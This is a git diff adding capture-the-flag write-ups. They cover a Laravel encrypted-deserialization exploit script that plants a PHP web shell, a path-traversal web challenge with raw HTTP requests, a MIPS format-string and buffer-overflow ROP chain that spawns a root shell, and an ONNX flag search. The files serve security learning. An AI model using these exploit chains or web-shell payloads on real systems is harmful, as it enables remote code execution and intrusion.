```
|
||||
|
||||
|
||||
https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56
|
||||
|
||||
> encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).
|
||||
|
||||
The `VouchersController` does not use `$serialize=true`, will this work anyway?
|
||||
|
||||
> [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application.
|
||||
- [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
|
||||
It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation?
|
||||
|
||||
Also had severa trouble with the tool, probably user error...
|
||||
|
||||
Guzzle is also available, maybe matching.
|
||||
|
||||
```
|
||||
'cipher' => 'AES-256-CBC',
|
||||
```
|
||||
|
||||
|
||||
After some discussion with copilot,
|
||||
it explained that there is need for a __descruct() call in combination with some other neccessary.
|
||||
|
||||
There is a guzzle CookieJar Class, that fits!
|
||||
|
||||
Copilot got tired (whatever problem, idk), so gemini created this script,
|
||||
that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`...
|
||||
|
||||
But ctf was already over :(
|
||||
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
require __DIR__ . '/vendor/autoload.php';
|
||||
|
||||
use GuzzleHttp\Client;
|
||||
use GuzzleHttp\Cookie\CookieJar;
|
||||
use GuzzleHttp\Cookie\SetCookie;
|
||||
use GuzzleHttp\Cookie\FileCookieJar;
|
||||
|
||||
$baseUri = 'http://localhost:9090';
|
||||
|
||||
// The key used in VouchersController::redeem matches the APP_KEY in .env
|
||||
$key = base64_decode('Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=');
|
||||
|
||||
// The payload to execute
|
||||
// Avoiding quotes so JSON encoding doesn't break PHP syntax with backslashes
|
||||
$payloadStr = '<?php system($_GET[1]); ?>';
|
||||
|
||||
$cookie = new SetCookie([
|
||||
'Name' => 'payload',
|
||||
'Value' => $payloadStr,
|
||||
'Domain' => 'example.com',
|
||||
'Path' => '/',
|
||||
'Max-Age' => null,
|
||||
'Expires' => null,
|
||||
'Secure' => false,
|
||||
'Discard' => false,
|
||||
'HttpOnly' => false,
|
||||
]);
|
||||
|
||||
// Gadget chain using FileCookieJar
|
||||
$filename = '/var/www/public/shell.php';
|
||||
$jarPayload = new FileCookieJar($filename, true);
|
||||
$jarPayload->setCookie($cookie);
|
||||
|
||||
$serialized = serialize($jarPayload);
|
||||
|
||||
$iv = random_bytes(16);
|
||||
$encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv);
|
||||
|
||||
$payloadArr = [
|
||||
'iv' => base64_encode($iv),
|
||||
'value' => $encrypted,
|
||||
'tag' => base64_encode('')
|
||||
];
|
||||
|
||||
$voucher = base64_encode(json_encode($payloadArr));
|
||||
echo "[+] Generated voucher payload.\n";
|
||||
|
||||
$jar = new CookieJar();
|
||||
$client = new Client([
|
||||
'base_uri' => $baseUri,
|
||||
'cookies' => $jar,
|
||||
'http_errors' => false
|
||||
]);
|
||||
|
||||
echo "[+] Fetching CSRF token...\n";
|
||||
$res = $client->get('/register');
|
||||
$html = (string) $res->getBody();
|
||||
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
|
||||
$csrfToken = $matches[1] ?? '';
|
||||
|
||||
$username = 'hacker' . rand(10000, 99999);
|
||||
$password = 'password123';
|
||||
|
||||
echo "[+] Registering user $username...\n";
|
||||
$res = $client->post('/register', [
|
||||
'form_params' => [
|
||||
'_token' => $csrfToken,
|
||||
'username' => $username,
|
||||
'password' => $password,
|
||||
'password2' => $password
|
||||
]
|
||||
]);
|
||||
|
||||
echo "[+] Logging in...\n";
|
||||
$res = $client->post('/login', [
|
||||
'form_params' => [
|
||||
'_token' => $csrfToken,
|
||||
'username' => $username,
|
||||
'password' => $password
|
||||
]
|
||||
]);
|
||||
|
||||
echo "[+] Fetching new CSRF token for voucher redemption...\n";
|
||||
$res = $client->get('/vouchers');
|
||||
$html = (string) $res->getBody();
|
||||
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
|
||||
$csrfToken = $matches[1] ?? '';
|
||||
|
||||
echo "[+] Redeeming malicious voucher...\n";
|
||||
$res = $client->post('/vouchers/redeem', [
|
||||
'form_params' => [
|
||||
'_token' => $csrfToken,
|
||||
'voucher' => $voucher
|
||||
]
|
||||
]);
|
||||
echo "[+] Status from redeem: " . $res->getStatusCode() . "\n";
|
||||
|
||||
echo "[+] Triggering payload at /shell.php...\n";
|
||||
$res = $client->get('/shell.php', [
|
||||
'query' => [
|
||||
'1' => 'ls / > /tmp/ls.txt'
|
||||
]
|
||||
]);
|
||||
|
||||
echo "[+] Trigger response: " . $res->getStatusCode() . "\n";
|
||||
echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n";
|
||||
|
||||
```
|
||||
2
War-Hymn-rev.md
Normal file
2
War-Hymn-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# War Hymn - rev
|
||||
|
||||
232
bad-apple-web.md
Normal file
232
bad-apple-web.md
Normal file
|
|
@ -0,0 +1,232 @@
|
|||
# bad-apple - web
|
||||
|
||||
|
||||
|
||||
## Information
|
||||
```
|
||||
-rw-rw-r-- 1 w1ntermute w1ntermute 836 Mär 18 22:19 Dockerfile
|
||||
-rw-rw-r-- 1 w1ntermute w1ntermute 631 Mär 18 22:19 httpd-append.conf
|
||||
-rwxrwxr-x 1 w1ntermute w1ntermute 6146 Mär 21 00:21 wsgi_app.py*
|
||||
```
|
||||
|
||||
|
||||
We can control user_id and filename on all routes.
|
||||
|
||||
On /upload we can control user_id to change the directory. filename is cleaned with [secure_filename](https://tedboy.github.io/flask/generated/werkzeug.secure_filename.html).
|
||||
|
||||
Under /convert user_id is cleaned with secure_filename but filename only with ` safe_name = os.path.splitext(os.path.basename(filename))[0]`
|
||||
|
||||
## Notables
|
||||
The /convert endpoint seems to construct an `input_path` variable insecurely by directly using the filename from the GET parameter without sanitization (wsgi_app.py:144).
|
||||
This looks like its later passed to the `extract_frames` function which uses it to construct a command:
|
||||
```python
|
||||
def extract_frames(input_path, output_dir, gif_name):
|
||||
|
||||
# ...
|
||||
|
||||
cmd = [
|
||||
'ffmpeg', '-i', input_path,
|
||||
'-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
|
||||
'-y', f'{output_dir}/palette.png'
|
||||
]
|
||||
subprocess.run(cmd, capture_output=True)
|
||||
```
|
||||
|
||||
This should grant code execution IF we can get a malicious filename past this check in line 145:
|
||||
```python
|
||||
if not os.path.exists(input_path):
|
||||
return "File not found", 404
|
||||
```
|
||||
|
||||
## extract_frames
|
||||
It uses `subprocess.run` to extract frames via ffmpeg.
|
||||
|
||||
```python
|
||||
cmd = [
|
||||
'ffmpeg', '-i', input_path,
|
||||
'-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
|
||||
'-y', f'{output_dir}/palette.png'
|
||||
]
|
||||
subprocess.run(cmd, capture_output=True)
|
||||
```
|
||||
## Strategy
|
||||
|
||||
With /uploads we can upload a file to every path we want.
|
||||
|
||||
|
||||
|
||||
So with /uploads we can upload arbitrary files.
|
||||
```http=
|
||||
POST /upload HTTP/1.1
|
||||
Host: bad-apple.tamuctf.com
|
||||
Cookie: user_id=../static/frames/test/{{7*7}}
|
||||
Content-Length: 190
|
||||
Sec-Ch-Ua-Platform: "Linux"
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
|
||||
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeAEo5u9BrAwBXC9D
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Accept: */*
|
||||
Origin: https://bad-apple.tamuctf.com
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: https://bad-apple.tamuctf.com/
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
|
||||
Priority: u=1, i
|
||||
Connection: keep-alive
|
||||
|
||||
------WebKitFormBoundaryeAEo5u9BrAwBXC9D
|
||||
Content-Disposition: form-data; name="file"; filename="frame_1.png"
|
||||
Content-Type: image/png
|
||||
|
||||
test
|
||||
|
||||
------WebKitFormBoundaryeAEo5u9BrAwBXC9D--
|
||||
```
|
||||
And this gets rendered as one frame in the UI.
|
||||
|
||||
|
||||
## convert
|
||||
```http=
|
||||
GET /convert?user_id=24720472&filename=SmallFullColourGIF.gif HTTP/1.1
|
||||
Host: bad-apple.tamuctf.com
|
||||
Cookie: user_id=24720472
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "Linux"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Sec-Fetch-Site: none
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
|
||||
Priority: u=0, i
|
||||
Connection: keep-alive
|
||||
```
|
||||
gives you
|
||||
|
||||
```http=
|
||||
HTTP/1.1 302 FOUND
|
||||
Server: nginx/1.24.0 (Ubuntu)
|
||||
Date: Sat, 21 Mar 2026 15:24:16 GMT
|
||||
Content-Type: text/html; charset=utf-8
|
||||
Content-Length: 279
|
||||
Connection: keep-alive
|
||||
Location: /?view=SmallFullColourGIF&user_id=24720472
|
||||
|
||||
<!doctype html>
|
||||
<html lang=en>
|
||||
<title>Redirecting...</title>
|
||||
<h1>Redirecting...</h1>
|
||||
<p>You should be redirected automatically to the target URL: <a href="/?view=SmallFullColourGIF&user_id=24720472">/?view=SmallFullColourGIF&user_id=24720472</a>. If not, click the link.
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
# Endpoints
|
||||
|
||||
Per endpoint:
|
||||
- input
|
||||
- output
|
||||
|
||||
## /
|
||||
|
||||
input
|
||||
- user_id
|
||||
- not sanitized, set by cookie
|
||||
- view_gif = request.args.get('view')
|
||||
- not sanitized, set by arg
|
||||
- view_user_id = request.args.get('view_user_id', user_id)
|
||||
- not sanitized, set by arg
|
||||
|
||||
|
||||
Because of ` if f.startswith("frame_") and f.endswith(".png")` it looks like there is no file inclusion here.
|
||||
|
||||
`render_template()` takes unsaitized `user_id` as argument. This is reflected in template, but it looks like this is not template injectable.
|
||||
|
||||
|
||||
## /upload
|
||||
|
||||
inputs
|
||||
- `filename = secure_filename(file.filename)`
|
||||
- probably secure
|
||||
- `user_id = request.cookies.get("user_id")`
|
||||
- insecure, not sanitized, set by cookie
|
||||
- `user_dir = os.path.join(app.config["UPLOAD_FOLDER"], user_id)`
|
||||
- might be traversable, but folder has to exist
|
||||
- `filepath = os.path.join(user_dir, filename)`
|
||||
- might overwrite files, when dir exists??
|
||||
- `safe_name = os.path.splitext(os.path.basename(filename))[0]`
|
||||
- no traversal here
|
||||
- `output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)`
|
||||
- might be traversable
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- Server error on existance: https://bad-apple.tamuctf.com/get_frames?user_id=..&gif_name=../../../../etc/hosts
|
||||
- https://bad-apple.tamuctfyp.com/get_frames?user_id=..&gif_name=../../../../etc/asdf
|
||||
|
||||
|
||||
## Solution
|
||||
Over /browse you can see the flag filename. With this, you can call convert.
|
||||
```
|
||||
GET /convert?user_id=admin&filename=/srv/http/uploads/admin/e017b6321bda6812ec80e9fac368709e-flag.gif HTTP/1.1
|
||||
Host: bad-apple.tamuctf.com
|
||||
Cookie: user_id=24720472
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "Linux"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Sec-Fetch-Site: none
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
|
||||
Priority: u=0, i
|
||||
Connection: keep-alive
|
||||
```
|
||||
|
||||
After this, go to / as user_id=admin. Now you should be able to select the flag file. The gif shows you the flag.
|
||||
|
||||
This was only possible because, the httpd config enabled directory listing.
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
WSGIScriptAlias / /srv/app/wsgi_app.py
|
||||
|
||||
<Directory /srv/app>
|
||||
Require all granted
|
||||
</Directory>
|
||||
|
||||
Alias /browse /srv/http/uploads
|
||||
<Directory /srv/http/uploads>
|
||||
Options +Indexes
|
||||
DirectoryIndex disabled
|
||||
IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
|
||||
<FilesMatch "\.gif$">
|
||||
AuthType Basic
|
||||
AuthName "Admin Area"
|
||||
AuthUserFile /srv/http/.htpasswd
|
||||
Require valid-user
|
||||
</FilesMatch>
|
||||
</Directory>
|
||||
</VirtualHost>
|
||||
|
||||
```
|
||||
|
||||
Important is the Options +Indexes. This enables the index
|
||||
2
challenge7-rev.md
Normal file
2
challenge7-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# challenge7 - rev
|
||||
|
||||
2
decreasing-misc.md
Normal file
2
decreasing-misc.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# decreasing - misc
|
||||
|
||||
2
hyper-neighbor-rev.md
Normal file
2
hyper-neighbor-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# hyper-neighbor - rev
|
||||
|
||||
139
meep-pwn.md
Normal file
139
meep-pwn.md
Normal file
|
|
@ -0,0 +1,139 @@
|
|||
# meep - pwn
|
||||
fridgebuyer
|
||||
|
||||
/meep ❯ file meep
|
||||
```
|
||||
meep: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, BuildID[sha1]=140b4551e8ece2ef8f59a9b207d175713dc18e8f, for GNU/Linux 3.2.0, with debug_info, not stripped
|
||||
```
|
||||
|
||||
/meep ❯ r2 -q -c 'aaa; afl' meep
|
||||
```
|
||||
0x004008a8 5 336 dbg.diagnostics
|
||||
0x004009f8 1 208 dbg.greet
|
||||
0x00400ac8 10 692 dbg.main
|
||||
```
|
||||
|
||||
/meep ❯ r2 -q -e bin.relocs.apply=true -c "aaa; pdf @dbg.**greet**" meep
|
||||
```
|
||||
│ 0x00400a4c 27c2001c addiu v0, fp, 0x1c ; meep.c:43:5
|
||||
│ 0x00400a50 00003825 move a3, zero
|
||||
│ 0x00400a54 24060100 addiu a2, zero, 0x100 ; arg3
|
||||
│ 0x00400a58 00402825 move a1, v0
|
||||
│ 0x00400a5c 00002025 move a0, zero
|
||||
│ 0x00400a60 8f828034 lw v0, -sym.imp.recv(gp)
|
||||
│ 0x00400a64 0040c825 move t9, v0
|
||||
│ 0x00400a68 0320f809 jalr t9
|
||||
│ ...
|
||||
│ 0x00400a90 27c2001c addiu v0, fp, 0x1c ; meep.c:46:5
|
||||
│ 0x00400a94 00402025 move a0, v0
|
||||
│ 0x00400a98 8f828068 lw v0, -sym.imp.printf(gp)
|
||||
│ 0x00400a9c 0040c825 move t9, v0
|
||||
│ 0x00400aa0 0320f809 jalr t9
|
||||
```
|
||||
|
||||
0x100 -- sym.imp.recv reads 256 bytes into buf@fp+0x1c
|
||||
sym.imp.printf(gp) -- format string
|
||||
|
||||
/meep ❯ r2 -q -c 'pdf @dbg.**diagnostics**' meep
|
||||
```
|
||||
│ 0x004008d0 27c20018 addiu v0, fp, 0x18 ; meep.c:19:20
|
||||
│ ...
|
||||
│ 0x0040090c 24060100 addiu a2, zero, 0x100 ; arg3
|
||||
│ 0x00400910 27c20018 addiu v0, fp, 0x18
|
||||
│ 0x00400914 00402825 move a1, v0
|
||||
│ 0x00400918 00002025 move a0, zero
|
||||
│ 0x0040091c 8f828034 lw v0, -sym.imp.recv(gp)
|
||||
│ 0x00400920 0040c825 move t9, v0
|
||||
│ 0x00400924 0320f809 jalr t9
|
||||
│ ...
|
||||
│ 0x004009dc 8fbf00a4 lw ra, (var_a4h)
|
||||
│ 0x004009e0 8fbe00a0 lw fp, (var_a0h)
|
||||
│ 0x004009e4 8fb1009c lw s1, (var_9ch)
|
||||
│ 0x004009e8 8fb00098 lw s0, (var_98h)
|
||||
│ 0x004009ec 27bd00a8 addiu sp, sp, 0xa8
|
||||
│ 0x004009f0 03e00008 jr ra
|
||||
```
|
||||
|
||||
0x100 — reads 256 bytes into fp+0x18
|
||||
ra loaded from fp+0xa4, then jr ra
|
||||
buf to ra = 0xa4 - 0x18 = 0x8c = 140 bytes, recv reads 256 -- overflow
|
||||
s0 (fp+0x98), s1 (fp+0x9c), fp (fp+0xa0) rewriteable
|
||||
|
||||
/meep ❯ readelf --dyn-syms meep | grep puts
|
||||
```
|
||||
18: 00000000 FUNC UND puts@GLIBC_2.0
|
||||
```
|
||||
- GOT entry at 0x411078
|
||||
- this is passed to greet func as "logger"
|
||||
- greet func stores it on the stack at fp+0x18
|
||||
- printf's 6th arg
|
||||
|
||||
so we can leak puts via %6$p
|
||||
|
||||
meep ❯ nohup qemu-mips -L ./sysroot ./meep > /dev/null 2>&1
|
||||
...
|
||||
meep ❯ echo '%p.%p.%p.%p.%p.%p' | nc -w2 127.0.0.1 9001
|
||||
```Enter admin name:
|
||||
Hello:
|
||||
|
||||
(nil).0x1.(nil).0x419020.0x7.0x2b37d3b0
|
||||
+*Enter diagnostic command:
|
||||
```
|
||||
|
||||
|
||||
/meep ❯ readelf -s lib-mips/libc.so.6 | grep -E ' puts| system'
|
||||
|
||||
```
|
||||
puts: 0x0007d3b0
|
||||
system: 0x000536e8
|
||||
```
|
||||
|
||||
|
||||
so offsets:
|
||||
- libc_base = leaked_puts - 0x7d3b0
|
||||
- system = libc_base + 0x536e8
|
||||
|
||||
/meep ❯ strings -t x lib-mips/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
1ba178 /bin/sh
|
||||
```
|
||||
- string "/bin/sh" is at 0x1ba178 in libc
|
||||
- we can refer to libc_base + 0x1ba178 for system("/bin/sh") argument
|
||||
|
||||
/meep ❯ ROPgadget --binary lib-mips/libc.so.6 | grep '^.* : move \$t9, \$s1 ; jalr \$t9 ; move \$a0, \$s0$'
|
||||
```
|
||||
0x00027488 : move $t9, $s1 ; jalr $t9 ; move $a0, $s0
|
||||
```
|
||||
- https://devblogs.microsoft.com/oldnewthing/20180412-00/?p=98495
|
||||
- https://www.pagetable.com/?p=313
|
||||
- copy s1 into t9, we control s1 via overflow
|
||||
- jump to t9 (system func)
|
||||
- delay slot: copy s0 into a0 ("/bin/sh" string addr)
|
||||
|
||||
### sol
|
||||
- Send `%6$p\n`
|
||||
- leak puts addr: `libc_base = puts - 0x7d3b0`
|
||||
|
||||
```python
|
||||
payload = b'A'*0x80 # pad to s0
|
||||
payload += p32(libc_base + 0x1ba178) # s0 → "/bin/sh"
|
||||
payload += p32(libc_base + 0x536e8) # s1 → system()
|
||||
payload += p32(0x41414141) # fp
|
||||
payload += p32(libc_base + 0x27488) # ra → gadget
|
||||
```
|
||||
- Gadget: `a0="/bin/sh"`, `jalr system()` gives shell
|
||||
|
||||
|
||||
/meep ❯ python3 sol.py remote
|
||||
```
|
||||
...
|
||||
[+] Leaked puts: 0x2b7bd3b0
|
||||
[+] libc base: 0x2b740000
|
||||
[+] Shell response: uid=1000 ...
|
||||
...
|
||||
```
|
||||
$ .
|
||||
```uid=0(root) gid=0(root) groups=0(root)```
|
||||
|
||||
$ cat /home/flag.txt
|
||||
**gigem{m33p_m1p_1_n33d_4_m4p}**
|
||||
2
military-system-pwn.md
Normal file
2
military-system-pwn.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# military-system - pwn
|
||||
|
||||
203
pittrap-misc.md
Normal file
203
pittrap-misc.md
Normal file
|
|
@ -0,0 +1,203 @@
|
|||
# pittrap - misc
|
||||
|
||||
The challenge contains a onnx file for a neural network.
|
||||
|
||||
The input layer accepts a vector of length 48, with vocab_size 256. This indicates the input is a 48-character string, which is tokenized by `[ord(i) for i in inp]`. The output is a single score.
|
||||
|
||||

|
||||
|
||||
|
||||
## Code to apply the network to an input
|
||||
|
||||
```python=
|
||||
import onnx
|
||||
|
||||
onnx_model = onnx.load(ONNX_FILE_PATH)
|
||||
onnx.checker.check_model(onnx_model)
|
||||
print(onnx_model)
|
||||
inp = None
|
||||
|
||||
# Write code here to apply the model on the input
|
||||
# out = ???
|
||||
import numpy as np
|
||||
from onnx.reference import ReferenceEvaluator
|
||||
|
||||
# int64 token ids, shape (batch_size, 48); input name must be "input_ids"
|
||||
inp = np.zeros((1, 48), dtype=np.int64)
|
||||
|
||||
sess = ReferenceEvaluator(onnx_model)
|
||||
out = sess.run(None, {"input_ids": inp})
|
||||
score = out[0]
|
||||
print(score)
|
||||
```
|
||||
|
||||
Then I tried a gradient ascent approach to find the input the leads to the maximum score. The input was the flag.
|
||||
|
||||
```python=
|
||||
import numpy as np
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import torch.nn.functional as F
|
||||
from onnx import numpy_helper
|
||||
from onnx.reference import ReferenceEvaluator
|
||||
|
||||
# Target format: gigem{just_<middle>_max_and_u'll_be_fine}
|
||||
PREFIX = "gigem{"
|
||||
SUFFIX = "}"
|
||||
ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_"
|
||||
|
||||
# Only the middle is unknown. Restricting it to a plausible alphabet avoids
|
||||
# the optimizer getting stuck in high-scoring non-ASCII byte values.
|
||||
n_inner = 48 - len(PREFIX) - len(SUFFIX)
|
||||
n_pad = 48 - (len(PREFIX) + n_inner + len(SUFFIX))
|
||||
assert n_pad >= 0 and n_inner > 0
|
||||
|
||||
weights = {init.name: numpy_helper.to_array(init).copy() for init in onnx_model.graph.initializer}
|
||||
|
||||
|
||||
class GigemTorch(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.register_buffer("embed_mat", torch.from_numpy(weights["embed.weight"]))
|
||||
self.conv = nn.Conv1d(64, 128, kernel_size=3, padding=2, dilation=2)
|
||||
self.fc1 = nn.Linear(6144, 64)
|
||||
self.fc2 = nn.Linear(64, 1)
|
||||
self.conv.weight.data.copy_(torch.from_numpy(weights["conv.weight"]))
|
||||
self.conv.bias.data.copy_(torch.from_numpy(weights["conv.bias"]))
|
||||
self.fc1.weight.data.copy_(torch.from_numpy(weights["fc1.weight"]))
|
||||
self.fc1.bias.data.copy_(torch.from_numpy(weights["fc1.bias"]))
|
||||
self.fc2.weight.data.copy_(torch.from_numpy(weights["fc2.weight"]))
|
||||
self.fc2.bias.data.copy_(torch.from_numpy(weights["fc2.bias"]))
|
||||
|
||||
def forward_soft(self, probs):
|
||||
x = torch.einsum("blv,vh->blh", probs, self.embed_mat)
|
||||
x = x.permute(0, 2, 1)
|
||||
x = self.conv(x)
|
||||
x = F.gelu(x)
|
||||
x = x.flatten(1)
|
||||
x = self.fc1(x)
|
||||
x = F.gelu(x)
|
||||
x = self.fc2(x)
|
||||
return x.squeeze(-1)
|
||||
|
||||
|
||||
def chars_to_onehot_row(device, c):
|
||||
v = ord(c) & 0xFF
|
||||
return F.one_hot(torch.tensor([v], device=device, dtype=torch.long), 256).float()
|
||||
|
||||
|
||||
def build_probs_from_middle_allowed(middle_allowed_probs, allowed_ids, device):
|
||||
batch_size = middle_allowed_probs.shape[0]
|
||||
middle = torch.zeros(batch_size, n_inner, 256, device=device)
|
||||
middle.scatter_(2, allowed_ids.view(1, 1, -1).expand(batch_size, n_inner, -1), middle_allowed_probs)
|
||||
|
||||
blocks = []
|
||||
if n_pad > 0:
|
||||
pad = torch.zeros(batch_size, n_pad, 256, device=device)
|
||||
pad[:, :, 0] = 1.0
|
||||
blocks.append(pad)
|
||||
for c in PREFIX:
|
||||
blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1))
|
||||
blocks.append(middle)
|
||||
for c in SUFFIX:
|
||||
blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1))
|
||||
return torch.cat(blocks, dim=1)
|
||||
|
||||
|
||||
def ids_from_middle_indices(middle_indices, allowed_ids):
|
||||
middle_ids = allowed_ids[middle_indices].detach().cpu().numpy()[0]
|
||||
token_ids = [0] * n_pad
|
||||
token_ids.extend(ord(c) & 0xFF for c in PREFIX)
|
||||
token_ids.extend(int(x) for x in middle_ids)
|
||||
token_ids.extend(ord(c) & 0xFF for c in SUFFIX)
|
||||
return np.array(token_ids, dtype=np.int64)
|
||||
|
||||
|
||||
def score_ids(model, token_ids, device):
|
||||
token_tensor = torch.tensor(token_ids, dtype=torch.long, device=device).unsqueeze(0)
|
||||
one_hot = F.one_hot(token_tensor, 256).float()
|
||||
return float(model.forward_soft(one_hot).item())
|
||||
|
||||
|
||||
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
|
||||
model = GigemTorch().to(device)
|
||||
allowed_ids = torch.tensor([ord(c) for c in ALPHABET], dtype=torch.long, device=device)
|
||||
|
||||
restarts = 6
|
||||
steps = 1000
|
||||
best_score = float("-inf")
|
||||
best_ids = None
|
||||
|
||||
for restart in range(restarts):
|
||||
logits_inner = torch.randn(1, n_inner, len(ALPHABET), device=device) * 0.01
|
||||
logits_inner.requires_grad_(True)
|
||||
opt = torch.optim.Adam([logits_inner], lr=0.2)
|
||||
|
||||
for step in range(steps):
|
||||
tau = max(0.25, 2.5 * (0.992 ** step))
|
||||
probs_inner = F.softmax(logits_inner / tau, dim=-1)
|
||||
probs = build_probs_from_middle_allowed(probs_inner, allowed_ids, device)
|
||||
soft_score = model.forward_soft(probs)
|
||||
entropy = -(probs_inner * probs_inner.clamp_min(1e-9).log()).sum(dim=-1).mean()
|
||||
loss = -soft_score + 0.02 * tau * entropy
|
||||
|
||||
opt.zero_grad()
|
||||
loss.backward()
|
||||
torch.nn.utils.clip_grad_norm_([logits_inner], max_norm=5.0)
|
||||
opt.step()
|
||||
|
||||
if step % 100 == 0 or step == steps - 1:
|
||||
with torch.no_grad():
|
||||
hard_idx = logits_inner.argmax(dim=-1)
|
||||
token_ids = ids_from_middle_indices(hard_idx, allowed_ids)
|
||||
hard_score = score_ids(model, token_ids, device)
|
||||
guess_str = "".join(chr(int(t)) for t in token_ids)
|
||||
if hard_score > best_score:
|
||||
best_score = hard_score
|
||||
best_ids = token_ids.copy()
|
||||
print(
|
||||
f"restart {restart} step {step:4d} tau={tau:.3f} soft={soft_score.item():.4f} discrete={hard_score:.4f} guess={guess_str!r}"
|
||||
)
|
||||
|
||||
# Greedy coordinate refinement over the discrete candidate.
|
||||
# This fixes the usual softmax-relaxation issue where argmax is close but not exact.
|
||||
charset_ids = [ord(c) for c in ALPHABET]
|
||||
for refine_round in range(10):
|
||||
improved = False
|
||||
for pos in range(n_pad + len(PREFIX), n_pad + len(PREFIX) + n_inner):
|
||||
current = best_ids[pos]
|
||||
local_best = best_score
|
||||
local_char = current
|
||||
for cand in charset_ids:
|
||||
if cand == current:
|
||||
continue
|
||||
trial = best_ids.copy()
|
||||
trial[pos] = cand
|
||||
trial_score = score_ids(model, trial, device)
|
||||
if trial_score > local_best:
|
||||
local_best = trial_score
|
||||
local_char = cand
|
||||
if local_char != current:
|
||||
best_ids[pos] = local_char
|
||||
best_score = local_best
|
||||
improved = True
|
||||
print(f"refine round {refine_round}: score={best_score:.4f} guess={''.join(chr(int(t)) for t in best_ids)!r}")
|
||||
if not improved:
|
||||
break
|
||||
|
||||
middle = "".join(
|
||||
chr(int(i))
|
||||
for i in best_ids[n_pad + len(PREFIX) : n_pad + len(PREFIX) + n_inner]
|
||||
)
|
||||
flag_only = PREFIX + middle + SUFFIX
|
||||
padded_visual = "".join(chr(int(i)) for i in best_ids)
|
||||
print("n_pad, n_inner:", n_pad, n_inner)
|
||||
print("middle:", repr(middle))
|
||||
print("flag:", repr(flag_only))
|
||||
print("full 48 (repr):", repr(padded_visual))
|
||||
|
||||
sess = ReferenceEvaluator(onnx_model)
|
||||
onnx_score = sess.run(None, {"input_ids": best_ids.reshape(1, -1).astype(np.int64)})[0]
|
||||
print("ONNX score (discrete):", onnx_score)
|
||||
